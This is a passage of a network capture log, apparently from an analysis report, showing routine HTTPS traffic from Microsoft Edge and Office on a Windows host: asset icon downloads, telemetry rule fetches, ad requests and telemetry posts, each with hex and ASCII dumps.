2024-11-23 01:55:45 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:46 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:46 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f1aae79f-401e-0049-1b4a-3d5b67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015545Z-15b8b599d88pxmdghC1TEBux9c00000002dg000000007q01 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 01:55:46 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49903	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:45 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 4a51215c-501e-003b-2b2a-3d2a59000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015545Z-174c587ffdftv9hphC1TEBm29w0000000270000000009667 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:45 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49905	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:45 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015545Z-174c587ffdfx984chC1TEB676g00000002c000000000119r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:45 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49902	13.107.246.40	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 01:55:46 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:45 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: c816c809-401e-0042-031e-3d4313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T015545Z-178bfbc474bfw4gbhC1NYCunf400000003qg00000000q8g3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:46 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:45 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015546Z-174c587ffdf7t49mhC1TEB4qbg0000000280000000005m5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:46 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015546Z-178bfbc474bh5zbqhC1NYCkdug00000003pg00000000k4t1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:46 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015546Z-178bfbc474bq2pr7hC1NYCkfgg00000003yg00000000afyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49909	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	966	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8wY0kH5kmFgIHq8zIt9NMvjVUCUw2Jnjj3TD0VEW3ZfO1p5HdPqPTDYUB80kFRMl1evRjnP5lhcm0BI2tJtB_VLXhD0MdqRwBKLEYp_FGf4z-UnVyq7SiCkKOS7WK7k7SBBQ8uKQ0QHWAGNIMgeTZubbw-dFauwoPK6JRkuRctOamqg9z%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZmNvcGlsb3QubWljcm9zb2Z0LmNvbSUyZiUzZnElM2R3aGF0JTJiY2FuJTJiY29waWxvdCUyYmRvJTJiYW5kJTJid2h5JTJiaXMlMmJpdCUyYmJldHRlciUyYnRoYW4lMmJ0cmFkaXRpb25hbCUyYnNlYXJjaCUyNmZvcm0lM2RNNTAwRVIlMjZPQ0lEJTNkTTUwMEVS%26rlid%3Df6c8d46b495014025cf8b32a7f57be17&TIME=20241123T015537Z&CID=531174684&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=0A1DB144AF32646934C4A404AEB865AB; _EDGE_S=SID=3FF243F2211D65B0383256B22005645F; MR=0
2024-11-23 01:55:47 UTC	763	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=sIeTi0B0CdkNadnMdnO9dbIjwdXJOiJHbPlZ2XcJuy0; domain=.bing.com; expires=Thu, 18-Dec-2025 01:55:46 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3D2E55296A6E4982BF194FE1708F62B1 Ref B: EWR30EDGE1015 Ref C: 2024-11-23T01:55:46Z Date: Sat, 23 Nov 2024 01:55:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49910	23.96.180.189	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=25272F1794486D883F453A57953A6C20&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=84a932eafc5f4fcfab6811ac71edf3bf HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1
2024-11-23 01:55:47 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:46 GMT Connection: close
2024-11-23 01:55:47 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49908	13.69.109.130	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:46 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732326943672&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3734 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=25272F1794486D883F453A57953A6C20; _EDGE_S=F=1&SID=16525D227A1E6A2C39BB48627BD36B7D; _EDGE_V=1
2024-11-23 01:55:46 UTC	3734	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 33 54 30 31 3a 35 35 3a 34 33 2e 36 36 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 33 37 64 37 63 63 35 2d 31 36 30 32 2d 34 31 36 65 2d 62 33 34 33 2d 30 32 65 35 66 35 32 38 30 31 65 63 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 31 38 33 35 38 31 35 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-23T01:55:43.664Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"d37d7cc5-1602-416e-b343-02e5f52801ec","epoch":"1018358158"},"app":{"locale
2024-11-23 01:55:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=608349d70d224ae4b4fc58dccd2653e0&HASH=6083&LV=202411&V=4&LU=1732326947017; Domain=.microsoft.com; Expires=Sun, 23 Nov 2025 01:55:47 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=ec2b2663d80e4da89b1c24ebc5e4010b; Domain=.microsoft.com; Expires=Sat, 23 Nov 2024 02:25:47 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3345 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 23 Nov 2024 01:55:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49913	104.117.182.56	443	9136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
